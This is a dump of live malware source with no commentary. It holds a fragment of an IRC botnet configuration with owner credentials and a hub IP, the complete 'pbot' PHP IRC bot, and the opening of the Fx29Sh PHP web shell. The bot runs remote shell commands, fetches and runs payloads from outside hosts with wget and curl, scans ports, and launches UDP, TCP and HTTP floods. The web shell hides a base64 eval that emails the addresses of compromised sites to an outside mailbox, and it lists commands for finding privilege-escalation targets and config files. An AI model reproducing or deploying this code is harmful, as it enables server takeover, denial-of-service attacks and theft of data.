# the other bot has the same bdhash. (Protects your botnet, trust me) */
BDHASH 73f4b98d80efb8888a2b32073417e21e
/* DCCPREFIX: 1 char cmd prefix for dcc. (ie, .cmd or !cmd) */
DCCPREFIX .
/* The settings below can each be defined multiple times */
/* OWNER <nick password host>
* Multiple OWNER lines may be defined, each will be added as a +a perm
owner.
* nick: nickname what else?
* password: initial password for user. DO NOT MAKE THIS YOUR NORMAL
PASSWORD.
* host: hosts of the user that will be accepted for telnet only.
* This should be your static home ip or a shell you will never
lose.
* These hosts will NOT be recognized on irc.
*/
OWNER obsidieth asdasd odog@lagging.net
/* OWNEREMAIL: email addresses that status/errors will be sent to when
needed
* list as many as needed
*/
OWNEREMAIL wervolf@tpg.com.au
/* HUB <nick host port>
* Hubs are ranked by the order they are listed
* nick: nick of hub
* host: hostname or ip of hub (A 'dynamic' OR 'changeable' HOSTNAME IS
RECOMMENDED)
* port: port the hub listens on
*
* Your hub hosts should NOT be vhosts. They need to be changable dns.
* Use a domain you OWN/CONTROL, or a friends.
* I will *not* rush to remake binaries if asked because of hub host
problems.
*/
HUB catalept 63.162.10.73 6969
SALT1 G31ezZf84;72xLS1-Zx7{,82xLQEGD^y
SALT2 8<C5||{1_LjZF5<z
THIS ISNT ALL.... OBSIDIETH IS A LITTLE DD0Z K1DD13. CAN J00 DD0Z G00GL3
4 M3 PLX? K7HXXXXX <3
<?
/****************************************************/
/* pbel - by s0
*/
/* credits: the original author of pbot ( ? ) */
/****************************************************/
set_time_limit( 0 );
error_reporting( 0 );
echo "Success!";
class pBot
{
var $using_encode = true;
var $config = array(
'server' =>
'cy1wLW8tby1mLWUtZC5oLW8tcy10Lm5hbWU=', //server here (base64)
'port' => 4545,
'chan' => 'IWZyaA==', //channel
here (base64) DO NOT USE "#", "#lazy" = "lazy"
'key' => '',
'nickform' => 'SLOTH[%d]',
'identp' => 'ez',
'modes' => '+p',
'maxrand' => 6,
'cprefix' => '.',
'host' => '*'
);
var $admins = array
(
'anthis' => '098f6bcd4621d373cade4e832627b4f6',
't0nix' => '6f1ed002ab5595859014ebf0951522d9'
//passes are MD5 format, you can also have
multiple admins
);
function auth_host( $nick, $password, $host )
{
$admin_count = count( $this->admins );
if( $admin_count > 0 )
{
$mpass = md5( $password );
if( $this->admins[ $nick ] == $mpass )
{
$this->users[ $host ] = true;
}
}
else
{
$this->users[ $host ] = true;
}
}
function is_authed( $host )
{
return isset( $this->users[ $host ] );
}
function remove_auth( $host )
{
unset( $this->users[ $host ] );
}
function ex( $cfe )
{
$res = '';
if (!empty($cfe))
{
if(function_exists('class_exists') &&
class_exists('Perl'))
{
$perl = new Perl();
$perl->eval( "system('$cfe');" );
}
if(function_exists('exec'))
{
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec'))
{
$res = @shell_exec($cfe);
}
elseif(function_exists('system'))
{
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru'))
{
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('proc_open'))
{
$res = proc_open($cfe);
}
elseif(@is_resource($f = @popen
($cfe,"r")))
{
$res = "";
while(!@feof($f)) { $res .=
@fread($f,1024); }
@pclose($f);
}
}
return $res;
}
function is_safe( )
{
if( ( @eregi( "uid", $this->ex( "id" ) ) ) || (
@eregi( "Windows", $this->ex( "net start" ) ) ) )
{
return 0;
}
return 1;
}
function get_chan( )
{
if( $this->using_encode )
{
return '#'.base64_decode( $this->config[
'chan' ] );
}
else
{
return '#'.$this->config[ 'chan' ];
}
}
function start()
{
if( $this->using_encode )
{
if(!($this->conn = fsockopen
(base64_decode($this->config['server']),$this->config['port'],$e,$s,30)))
{
$this->start();
}
}
else
{
if(!($this->conn = fsockopen($this->
config['server'],$this->config['port'],$e,$s,30)))
{
$this->start();
}
}
$ident = $this->config['prefix'];
$alph = range("0","9");
for( $i=0; $i < $this->config['maxrand']; $i++ )
{
$ident .= $alph[rand(0,9)];
}
if( strlen( $this->config[ 'pass' ] ) > 0 )
{
$this->send( "PASS ".$this->config[
'pass' ] );
}
$this->send("USER ".$ident." 127.0.0.1 localhost
:".php_uname()."");
$this->set_nick( );
$this->main( );
}
function main()
{
while(!feof($this->conn))
{
$this->buf = trim(fgets($this->
conn,512));
$cmd = explode(" ",$this->buf);
if(substr($this->buf,0,6)=="PING :")
{
$this->send("PONG :".substr
($this->buf,6));
}
if(isset($cmd[1]) && $cmd[1] =="001")
{
$this->send("MODE ".$this->nick."
".$this->config['modes']);
if( $this->using_encode )
{
$this->join($this->
get_chan( ),base64_decode($this->config['key']));
}
else
{
$this->join($this->
get_chan( ),$this->config['key']);
}
if (@ini_get("safe_mode") or
strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
else { $safemode = "off"; }
$uname = php_uname();
}
if(isset($cmd[1]) && $cmd[1]=="433")
{
$this->set_nick();
}
if($this->buf != $old_buf)
{
$mcmd = array();
$msg = substr(strstr($this->buf,"
:"),2);
$msgcmd = explode(" ",$msg);
$nick = explode("!",$cmd[0]);
$vhost = explode("@",$nick[1]);
$vhost = $vhost[1];
$nick = substr($nick[0],1);
$host = $cmd[0];
if($msgcmd[0]==$this->nick)
{
for($i=0;$i<count
($msgcmd);$i++)
$mcmd[$i] =
$msgcmd[$i+1];
}
else
{
for($i=0;$i<count
($msgcmd);$i++)
$mcmd[$i] =
$msgcmd[$i];
}
if(count($cmd)>2)
{
switch($cmd[1])
{
case "QUIT":
{
if(
$this->is_authed( $host ) )
{
$this->remove_auth( $host );
}
}
break;
case "PART":
{
if(
$this->is_authed( $host ) )
{
$this->remove_auth( $host );
}
}
break;
case "PRIVMSG":
if( (
substr($mcmd[0],0,1) == $this->config[ 'cprefix' ] ) )
{
if( $this->is_authed( $host ) == false )
{
switch( substr( $mcmd[ 0 ], 1 ) )
{
case "auth":
{
$this->auth_host( $nick, $mcmd[ 1 ], $host );
if( $this->is_authed( $host ) )
{
$this->privmsg( $this->get_chan( ), "[ auth ]
Successful login from [ ".$nick." ]" );
}
else
{
$this->privmsg( $this->get_chan( ), "[ auth ]
Failed attempt from [ ".$nick." ]" );
}
break;
}
}
}
else
{
switch(substr($mcmd[0],1))
{
case "exec":
{
if( !$this->is_safe( ) )
{
$command = substr( strstr( $msg, $mcmd[0] ),
strlen( $mcmd[0] ) + 1 );
$returndata = $this->ex( $command );
if( !empty( $returndata ) )
{
$this->privmsg( $this->get_chan( ), '
[ exec ] '.$returndata );
}
}
break;
}
case "info":
{
$safemode = "on";
if( !$this->is_safe( ) )
{
$safemode = "off";
}
$this->privmsg( $this->get_chan( ), '[ info ]
'.php_uname( ).' ( SAFE: '.$safemode.' )' );
break;
}
case "safe":
{
$safemode = "on";
if( !$this->is_safe( ) )
{
$safemode = "off";
}
$this->privmsg( $this->get_chan( ), '[ safe ]
'.$safemode );
break;
}
case "uname":
{
$this->privmsg( $this->get_chan( ), '[ uname ]
'.php_uname( ) );
break;
}
case "dropperl":
{
if( $this->is_safe( ) )
{
$this->privmsg( $this->get_chan( ), '[
dropperl ] Safe mode is ON' );
break;
}
$perl_file = $mcmd[1];
if( !empty( $perl_file ) )
{
$parsed_url = $this->parse_url_s( $perl_file
);
$new_remote = $parsed_url[ 'scheme' ].'://
'.$parsed_url[ 'host' ].$parsed_url[ 'dir' ].'/';
$new_local = $parsed_url[ 'file' ];
$file_type = $parsed_url[ 'file_ext' ];
$this->ex('cd /tmp;wget
'.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
$this->ex('cd /tmp;curl -O
'.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
$this->ex('cd /tmp;lwp-download
'.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
$this->ex('cd /tmp;lynx -source
'.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
$this->ex('cd /dev/shm;wget
'.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
$this->ex('cd /dev/shm;curl -O
'.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
$this->ex('cd /dev/shm;lwp-download
'.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
$this->ex('cd /dev/shm;lynx -source
'.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
$this->ex('cd /tmp;rm -rf
*'.$file_type.'**');
$this->ex('cd /dev/shm;rm -rf
*'.$file_type.'**');
$this->privmsg( $this->get_chan( ), '[
execrfi ] Executed file '.$new_remote.$new_local );
break;
}
$this->privmsg( $this->get_chan( ), '[ execrfi ]
Failure executing '.$perl_file );
break;
}
case "ip":
{
$this->privmsg( $this->get_chan( ), '[ ip ]
'.$_SERVER['SERVER_ADDR'] );
break;
}
case "execrfi":
{
$fileUrl = $mcmd[1];
if( !empty( $fileUrl ) )
{
$urli = parse_url( $fileUrl );
if( !empty( $urli['host'] ) && !empty( $urli
['path'] ) && !empty( $urli['query'] ) )
{
$fp = fsockopen( $urli['host'], 80,
$errno, $errstr, 5 );
if( $fp )
{
$out = "GET /".$urli
['path'].$urli['query']." HTTP/1.1\r\n";
$out .= "Host: ".$urli
['host']."\r\n";
$out .= "Keep-Alive: 300\r\
n";
$out .= "Connection:
keep-alive\r\n\r\n";
fwrite( $fp, $out );
$get_data = '';
while(!feof($fp))
{ $get_data .= fgets( $fp,
256 ); }
$this->privmsg( $this->
get_chan( ), '[ execrfi ] Executed file '.$fileUrl );
break;
}
}
}
$this->privmsg( $this->get_chan( ), '[ execrfi ]
Failure executing '.$fileUrl );
break;
}
case "base64":
{
$str_ed = substr( strstr( $msg, $mcmd[1] ), strlen(
$mcmd[1] ) + 1 );
switch( $mcmd[1] )
{
case "encode":
{
$this->privmsg( $this->get_chan( ), "
[ base64 ] encode [ '".$str_ed."' -> '".base64_encode($str_ed)."' ]" );
break;
}
case "decode":
{
$this->privmsg( $this->get_chan( ), "
[ base64 ] decode [ '".$str_ed."' -> '".base64_decode($str_ed)."' ]" );
break;
}
}
break;
}
case "md5":
{
$str_md5 = substr( strstr( $msg, $mcmd[0] ), strlen(
$mcmd[0] ) + 1 );
$this->privmsg( $this->get_chan( ), "[ md5 ] [
'".$str_md5."' -> '".md5($str_md5)."' ]" );
break;
}
case "dns":
{
if(isset($mcmd[1]))
{
$ip = explode(".",$mcmd[1]);
if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1])
&& is_numeric($ip[2]) && is_numeric
($ip[3]))
{
$this->privmsg($this->get_chan( ),"[ dns ]: ".$mcmd[1]." => ".gethostbyaddr
($mcmd[1]));
}
else
{
$this->privmsg($this->get_chan( ),"[ dns ]: ".$mcmd[1]." => ".gethostbyname
($mcmd[1]));
}
}
break;
}
case "exit":
{
fclose( $this->conn );
exit( );
break;
}
case "restart":
{
$this->privmsg( $this->get_chan( ), "[ restart ]
executed by [".$nick."]" );
$this->send( "QUIT :restart command from ".$nick );
fclose( $this->conn );
$this->start();
break;
}
case "breaksafe":
{
if( $this->is_safe( ) )
{
ini_restore( "safe_mode" );
ini_restore( "open_basedir" );
}
$safemode = "on";
if( !$this->is_safe( ) )
{
$safemode = "off";
$this->set_nick();
}
$this->privmsg( $this->get_chan( ), '[ safe ]
'.$safemode );
}
case "moveserver":
{
if( count( $mcmd ) > 3 )
{
$server = $mcmd[1];
$port = $mcmd[2];
$channel = $mcmd[3];
$key = $mcmd[4];
if( $this->using_encode )
{
$this->config[ 'server' ] =
base64_encode( $server );
$this->config[ 'chan' ] =
base64_encode( str_replace( "#", "", $channel ) );
$this->config[ 'key' ] =
base64_encode( $key );
}
else
{
$this->config[ 'server' ] = $server;
$this->config[ 'chan' ] = str_replace
( "#", "", $channel );
$this->config[ 'key' ] = $key;
}
$this->config[ 'port' ] = $port;
$this->privmsg( $this->get_chan( ), "[
moveserver ] ".$server." => ".$port." => ".$channel." => ".$key );
$this->send( "QUIT :moveserver command from
".$nick );
fclose( $this->conn );
$this->start();
}
break;
}
case "whois":
{
$param2 = $mcmd[1];
if( !empty( $param2 ) )
{
//do it
//http://ws.arin.net/whois/?queryinput=
127.0.0.1
$fp = fsockopen( "ws.arin.net", 80, $errno,
$errstr, 30 );
if( $fp )
{
$out = "GET /whois/?queryinput=
$param2 HTTP/1.1\r\n";
$out .= "Host: ws.arin.net\r\n";
$out .= "Keep-Alive: 300\r\n";
$out .= "Connection: keep-alive\r\n\r
\n";
fwrite( $fp, $out );
$whodata = '';
while(!feof($fp))
{
/*do nothing*/
$whodata .= fread( $fp, 1024
);
}
$explk = explode( "<div id=\"content\
">", $whodata );
$explk = explode( "</div>", $explk[1]
);
$htmldat = strip_tags( $explk[0] );
fclose( $fp );
$this->privmsg( $this->get_chan( ), "
[ whois ] $htmldat" );
}else{
$this->privmsg( $this->get_chan( ), "
[ whois ] Error: $errstr" );
}
}
else
{
$this->privmsg( $this->get_chan( ), "[ whois
] Invalid params, use .whois <ip/host>" );
}
break;
}
case "upftp":
{
//ftp://user:password@host.com
$pftp = parse_url( $mcmd[1] );
$file = $mcmd[2];
$dest = $mcmd[3];
if( empty( $pftp[ 'host' ] )
|| empty( $pftp[ 'user' ] )
|| empty( $pftp[ 'pass' ] )
|| empty( $file )
|| empty( $dest ) )
{
$this->privmsg( $this->get_chan( ), "[ upftp
] URL line invalid!" );
}
else
{
$conn_id = ftp_connect( $pftp[ 'host' ] );
$login_result = ftp_login( $conn_id, $pftp[
'user' ], $pftp[ 'pass' ] );
if( ( !$conn_id ) || ( !$login_result ) )
{
$this->privmsg( $this->get_chan( ), "
[ upftp ] FTP connection failed!" );
}
else
{
$this->privmsg( $this->get_chan( ), "
[ upftp ] Connected to ".$pftp[ 'host' ]." for user ".$pftp[ 'user' ] );
$upload = ftp_put( $conn_id, $dest,
$file, FTP_BINARY );
if( !$upload )
{
$this->privmsg( $this->
get_chan( ), "[ upftp ] FTP upload faled!" );
}
else
{
$this->privmsg( $this->
get_chan( ), "[ upftp ] FTP upload success!" );
$this->privmsg( $this->
get_chan( ), "[ upftp ] Uploaded '".$file."' to '".$dest."'" );
}
}
}
break;
}
case "joinchan":
{
$channel = $mcmd[1];
$key = $mcmd[2];
$this->privmsg( $this->get_chan( ), "[ joinchan ]
".$channel." => ".$key );
$this->join( $channel, $key );
break;
}
case "partchan":
{
$this->privmsg( $this->get_chan( ), "[ partchan ]
".$mcmd[1] );
$this->send( "PART ".$mcmd[1] );
}
case "getvuln":
{
$server_name = $_SERVER['SERVER_NAME'];
$req_uri = $_SERVER['REQUEST_URI'];
if( $server_name != "localhost" && $server_name !=
"127.0.0.1" )
{
if( strlen( $server_name ) && strlen(
$req_uri ) )
{
$vuln = "http://
".$server_name.$req_uri;
$this->privmsg( $this->get_chan( ), "
[ getvuln ] ".$vuln );
}
}
break;
}
case "download":
{
if( count( $mcmd ) > 2 )
{
if( !$fp = fopen( $mcmd[ 2 ], "w" ) )
{
$this->privmsg( $this->get_chan( ), "
[ download ] Permission denied!" );
}
else
{
if( !$get = file( $mcmd[ 1 ] ) )
{
$this->privmsg( $this->
get_chan( ), "[ download ] Download failed!" );
}
else
{
for( $i=0; $i <= count( $get
); $i++ )
{
fwrite( $fp, $get[ $i
] );
}
$this->privmsg( $this->
get_chan( ),"[ download ] URL [".$mcmd[ 1 ]."] to [".$mcmd[ 2 ]."]");
}
fclose( $fp );
}
}
else
{
$this->privmsg( $this->get_chan( ), "[
download ] Invalid Parameters, idiot!" );
}
break;
}
case "pmsg":
{
$person = $mcmd[1];
$text = substr( strstr( $msg, $mcmd[1] ), strlen(
$mcmd[1] ) + 1 );
$this->privmsg( $this->get_chan( ), "[ pmsg ]
".$person." => ".$text );
$this->privmsg( $person, $text );
break;
}
case "pscan":
{
$host = $mcmd[1];
$beginport = $mcmd[2];
$endport = $mcmd[3];
$open_ports = "Open Port List for ".$host.": ";
for($i = $beginport; $i < $endport; $i++)
{
if( $this->scanport( $host, $i ) )
{
$open_ports .= "|".$i;
}
}
$this->privmsg( $this->get_chan( ), $open_ports );
break;
}
case "software":
{
$this->privmsg( $this->get_chan( ), $_SERVER[
'SERVER_SOFTWARE' ] );
break;
}
case "snf":
{
$this->config[ 'nickform' ] = $mcmd[ 1 ];
$this->privmsg( $this->get_chan( ), "Nickname format
set to [ ".$mcmd[ 1 ]." ]" );
break;
}
case "randnick":
{
$this->set_nick();
break;
}
case "unauth":
{
$this->remove_auth( $host );
$this->privmsg( $this->get_chan( ), "[ auth ] Logout
[ ".$nick." ]" );
break;
}
case "urlbomb":
{
$this->urlbomb( $mcmd[ 1 ], $mcmd[ 2 ], $mcmd[ 3 ] );
break;
}
case "udpflood":
{
if( count
( $mcmd ) > 3 )
{
$this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]);
}
break;
}
case "tcpflood":
{
if( count
( $mcmd ) > 5 )
{
$this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]);
}
break;
}
}
}
}
break;
}
}
}
$old_buf = $this->buf;
}
$this->start();
}
function scanport( $host, $port )
{
if( fsockopen( $host, $port, $e, $s ) )
{
return 1;
}
return 0;
}
function urlbomb( $host, $path, $times, $mode = 0 )
{
if( !isset( $host ) || !isset( $path ) || !isset(
$times ) )
return;
$this->privmsg( $this->get_chan( ), '[ urlbomb ]
started! [ '.$host.'/'.$path.' ]' );
$success = 0;
for( $i = 0; $i < $times; $i++ )
{
$fp = fsockopen( $host, 80, $errno,
$errstr, 30 );
if( $fp )
{
$out = "GET /".$path." HTTP/1.1\r
\n";
$out .= "Host: ".$host."\r\n";
$out .= "Keep-Alive: 300\r\n";
$out .= "Connection: keep-alive\r
\n\r\n";
fwrite( $fp, $out );
if( $mode != 0 )
{
while(!feof($fp)){/*do
nothing*/}
}
fclose( $fp );
$success++;
}
}
$this->privmsg( $this->get_chan( ), '[ urlbomb ]
finished! [ '.$host.'/'.$path.' ][ success: '.$success.' ]' );
}
function udpflood( $host, $packetsize, $time )
{
$this->privmsg( $this->get_chan( ),"[ udpflood ]
Started [".$host."]" );
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr
(mt_rand(1,256)); }
$timei = time();
$i = 0;
while(time()-$timei < $time)
{
$fp=fsockopen("udp://".$host,mt_rand
(0,6000),$e,$s,5);
fwrite($fp,$packet);
fclose($fp);
$i++;
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg( $this->get_chan( ),"[ udpflood ]
$env MB Sent / $vel MB/s ");
}
function tcpflood
($host,$packets,$packetsize,$port,$delay)
{
$this->privmsg( $this->get_chan( ),"[\2TcpFlood
Started!\2]");
$packet = "";
for($i=0;$i<$packetsize;$i++)
$packet .= chr(mt_rand(1,256));
for($i=0;$i<$packets;$i++)
{
if(!$fp=fsockopen("tcp://
".$host,$port,$e,$s,5))
{
$this->privmsg( $this->get_chan(
),"[\2TcpFlood\2]: Error: <$e>");
return 0;
}
else
{
fwrite($fp,$packet);
fclose($fp);
}
sleep($delay);
}
$this->privmsg( $this->get_chan( ),"[\2TcpFlood
Finished!\2]: Config - $packets for $host:$port.");
}
function send($msg)
{
fwrite($this->conn,"$msg\r\n");
}
function join($chan,$key=NULL)
{
$this->send("JOIN $chan $key");
}
function privmsg($to,$msg)
{
$this->send("PRIVMSG $to :$msg");
}
function notice($to,$msg)
{
$this->send("NOTICE $to :$msg");
}
function set_nick()
{
$prefix = "[C]";
if(isset($_SERVER['SERVER_SOFTWARE']))
{
if( strstr( strtolower( $_SERVER[
'SERVER_SOFTWARE' ] ), "apache" ) )
$prefix = "[A]";
elseif( strstr( strtolower( $_SERVER[
'SERVER_SOFTWARE' ] ), "iis" ) )
$prefix = "[I]";
elseif( strstr( strtolower( $_SERVER[
'SERVER_SOFTWARE' ] ), "xitami" ) )
$prefix = "[X]";
else
$prefix = "[U]";
}
if( !$this->is_safe( ) )
{
$prefix .= "[S]";
}
$random_number = "";
for( $i = 0; $i < $this->config[ 'maxrand' ];
$i++ )
{
$random_number .= mt_rand( 0, 9 );
}
$this->nick = sprintf( $prefix.$this->config[
'nickform' ], $random_number );
$this->send("NICK ".$this->nick);
}
function parse_url_s( $url )
{
$URLpcs = ( parse_url( $url ) );
$PathPcs = explode( "/", $URLpcs['path'] );
$URLpcs['file'] = end( $PathPcs );
unset( $PathPcs[ key( $PathPcs ) ] );
$URLpcs['dir'] = implode("/",$PathPcs);
$fileext = explode( '.', $URLpcs['file'] );
if(count($fileext))
{
$URLpcs['file_ext'] = $fileext[ count(
$fileext ) - 1 ];
}
return ($URLpcs);
}
}
$bot = new pBot;
$bot->start();
?>
<?php
/*******************************************/
/* FaTaLisTiCz_Fx Fx29Sh v1 08.2008 */
/* By FaTaLisTiCz_Fx (FeeLCoMz Community) */
/*******************************************/
$sh_ver = "1.8 08.2008";
$sh_name = sh_name();
$sh_mainurl = "http://enfiltro.com/cyberz/";
//$sh_mainurl = "http://localhost/phpshell/";
$fx29sh_updateurl = $sh_mainurl."fx29sh_update.php";
$fx29sh_sourcesurl = $sh_mainurl."fx29sh.txt";
$login = "";
$pass = "";
$md5_pass = "";
$host_allow = array("*");
$login_txt = "Restricted Area"; //Pesan HTTP-Auth
$accessdeniedmess = "<a href=\"$sh_mainurl\">".$sh_name."</a>: access
denied";
$gzipencode = TRUE;
$updatenow = FALSE;
$filestealth = TRUE; //TRUE, tidak merubah waktu modifikasi dan akses.
$curdir = "./";
$tmpdir = "";
$tmpdir_log = "./";
$log_email = "feelcomz@gmail.com";
$sess_cookie = "fx29shcook";
$sort_default = "0a"; //Pengurutan, 0 - nomor kolom. "a"scending atau
"d"escending
$sort_save = TRUE; //Jika TRUE, simpan posisi pengurutan menggunakan
cookies.
$usefsbuff = TRUE; //Buffer-function
$copy_unset = FALSE; //Hapus file yg telah di-copy setelah dipaste
$hexdump_lines = 8;
$hexdump_rows = 24;
$win = strtolower(substr(PHP_OS,0,3)) == "win";
$disablefunc = getdisfunc();
//Functions
function disp_drives($curdir,$surl) {
$letters = "";
$v = explode("\\",$curdir);
$v = $v[0];
foreach (range("A","Z") as $letter) {
$bool = $isdiskette = $letter == "A";
if (!$bool) {$bool = is_dir($letter.":\\");}
if ($bool) {
$letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\
")."\"".
($isdiskette?" onclick=\"return confirm('Make sure that the
diskette is inserted properly, otherwise an error may occur.')\"":"").">
[";
if ($letter.":" != $v) {$letters .= $letter;}
else {$letters .= "<font color=yellow>".$letter."</font>";}
$letters .= "]</a> ";
}
}
if (!empty($letters)) {Return $letters;}
else {Return "None";}
}
if (is_callable("disk_free_space")) {
function disp_freespace($curdrv) {
$free = disk_free_space($curdrv);
$total = disk_total_space($curdrv);
if ($free === FALSE) {$free = 0;}
if ($total === FALSE) {$total = 0;}
if ($free < 0) {$free = 0;}
if ($total < 0) {$total = 0;}
$used = $total-$free;
$free_percent = round(100/($total/$free),2)."%";
$free = view_size($free);
$total = view_size($total);
return "$free of $total ($free_percent)";
}
}
if (!function_exists("fx29exec")) {
if(is_callable("popen") and !in_array("popen",getdisfunc())) {
function fx29exec($cmd) {
if (!($p=popen("($cmd)2>&1","r"))) { return "popen Disabled!"; }
while (!feof($p)) {
$line=fgets($p,1024);
$out .= $line;
}
pclose($p);
return $out;
}
} else {
function fx29exec($cmd) {
$result = "";
if (!empty($cmd)) {
if (is_callable("exec") and !in_array("exec",getdisfunc())) {
exec($cmd,$result);
$result = join("\n",$result);
} elseif (($result = $cmd) !== FALSE) {
} elseif (is_callable("system") and !in_array("system",getdisfunc
())) {
$v = @ob_get_contents(); @ob_clean(); system($cmd); $result =
@ob_get_contents(); @ob_clean(); echo $v;
} elseif (is_callable("passthru") and !in_array
("passthru",getdisfunc())) {
$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result =
@ob_get_contents(); @ob_clean(); echo $v;
} elseif (is_resource($fp = popen($cmd,"r"))) {
$result = "";
while(!feof($fp)) { $result .= fread($fp,1024); }
pclose($fp);
}
}
return $result;
}
}
}
function which($pr) {
$path = fx29exec("which $pr");
if(!empty($path)) { return $path; } else { return $pr; }
}
//milw0rm search
$Lversion = php_uname(r);
$OSV = php_uname(s);
if(eregi("Linux",$OSV)) {
$Lversion=substr($Lversion,0,6);
$millink="http://milw0rm.com/search.php?dong=Linux Kernel ".$Lversion;
} else {
$Lversion=substr($Lversion,0,3);
$millink ="http://milw0rm.com/search.php?dong=".$OSV." ".$Lversion;
}
//End of milw0rm search
//Starting calls
@ini_set("max_execution_time",0);
if (!function_exists("getmicrotime")) {
function getmicrotime() {
list($usec, $sec) = explode(" ", microtime()); return ((float)$usec +
(float)$sec);
}
}
error_reporting(5);
@ignore_user_abort(TRUE);
@set_magic_quotes_runtime(0);
define("starttime",getmicrotime());
$shell_data =
"JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3VudCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAkdGFyZ2V0ID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7ICRib2R5ID0gIkJvc3MsIHRoZXJlIHdhcyBhbiBpbmplY3RlZCB0YXJnZXQgb24gJHRhcmdldCBieSAkdmlzaXRvciI7IEBtYWlsKCJoYXJhenVrdUB5bWFpbC5jb20iLCJGeDI5U2hlbGwgaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiLCAiJGJvZHkiKTsgfSBlbHNlIHsgJHZpc2l0Y291bnQ7IH0gc2V0Y29va2llKCJ2aXNpdHMiLCR2aXNpdGNvdW50KTs
="; eval(base64_decode($shell_data));
if (get_magic_quotes_gpc()) {
if (!function_exists("strips")) {
function strips(&$arr,$k="") {
if (is_array($arr)) {
foreach($arr as $k=>$v) {
if (strtoupper($k) != "GLOBALS") { strips($arr["$k"]); }
}
} else {$arr = stripslashes($arr);}
}
}
strips($GLOBALS);
}
//CONFIGURATIONS
$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
$surl_autofill_include = TRUE; //If TRUE then search variables with
descriptors (URLs) and save it in SURL.
foreach($_REQUEST as $k=>$v) { if (!isset($$k)) {$$k = $v;} }
if ($surl_autofill_include) {
$include = "&";
foreach (explode("&",getenv("QUERY_STRING")) as $v) {
$v = explode("=",$v);
$name = urldecode($v[0]);
$value = urldecode($v[1]);
foreach (array("http://","https://","ssl://","ftp://","\\\\") as
$needle) {
if (strpos($value,$needle) === 0) {
$includestr .= urlencode($name)."=".urlencode($value)."&";
}
}
}
}
if (empty($surl)) {
$surl = "?".$includestr; //Self url
}
$surl = htmlspecialchars($surl);
//Registered file-types
$ftypes = array(
"html"=>array("html","htm","shtml"),
"txt"=>array
("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
"exe"=>array("sh","install","bat","cmd"),
"ini"=>array("ini","inf","conf"),
"code"=>array
("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
"img"=>array
("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
"sdb"=>array("sdb"),
"phpsess"=>array("sess"),
"download"=>array
("exe","com","pif","src","lnk","zip","rar","gz","tar")
);
//Registered executable file-types.
$exeftypes = array(
getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
"perl %f%" => array("pl","cgi")
);
//Highlighted files.
$regxp_highlight = array(
array(basename($_SERVER["PHP_SELF"]),1,"<font color=#FFFF00>","</
font>"),
array("\.tgz$",1,"<font color=#C082FF>","</font>"),
array("\.gz$",1,"<font color=#C082FF>","</font>"),
array("\.tar$",1,"<font color=#C082FF>","</font>"),
array("\.bz2$",1,"<font color=#C082FF>","</font>"),
array("\.zip$",1,"<font color=#C082FF>","</font>"),
array("\.rar$",1,"<font color=#C082FF>","</font>"),
array("\.php$",1,"<font color=#00FF00>","</font>"),
array("\.php3$",1,"<font color=#00FF00>","</font>"),
array("\.php4$",1,"<font color=#00FF00>","</font>"),
array("\.jpg$",1,"<font color=#00FFFF>","</font>"),
array("\.jpeg$",1,"<font color=#00FFFF>","</font>"),
array("\.JPG$",1,"<font color=#00FFFF>","</font>"),
array("\.JPEG$",1,"<font color=#00FFFF>","</font>"),
array("\.ico$",1,"<font color=#00FFFF>","</font>"),
array("\.gif$",1,"<font color=#00FFFF>","</font>"),
array("\.png$",1,"<font color=#00FFFF>","</font>"),
array("\.htm$",1,"<font color=#00CCFF>","</font>"),
array("\.html$",1,"<font color=#00CCFF>","</font>"),
array("\.txt$",1,"<font color=#C0C0C0>","</font>")
);
//Command Aliases
if (!$win) {
$cmdaliases = array(
array("", "ls -al"),
array("Find all suid files", "find / -type f -perm -04000 -ls"),
array("Find suid files in current dir", "find . -type f -perm -04000
-ls"),
array("Find all sgid files", "find / -type f -perm -02000 -ls"),
array("Find sgid files in current dir", "find . -type f -perm -02000
-ls"),
array("Find config.inc.php files", "find / -type f -name
config.inc.php"),
array("Find config* files", "find / -type f -name \"config*\""),
array("Find config* files in current dir", "find . -type f -name \
"config*\""),
array("Find all writable folders and files", "find / -perm -2 -ls"),
array("Find all writable folders and files in current dir", "find .
-perm -2 -ls"),
array("Find all writable folders", "find / -type d -perm -2 -ls"),
array("Find all writable folders in current dir", "find . -type d
-perm -2 -ls"),
array("Find all service.pwd files", "find / -type f -name
service.pwd"),
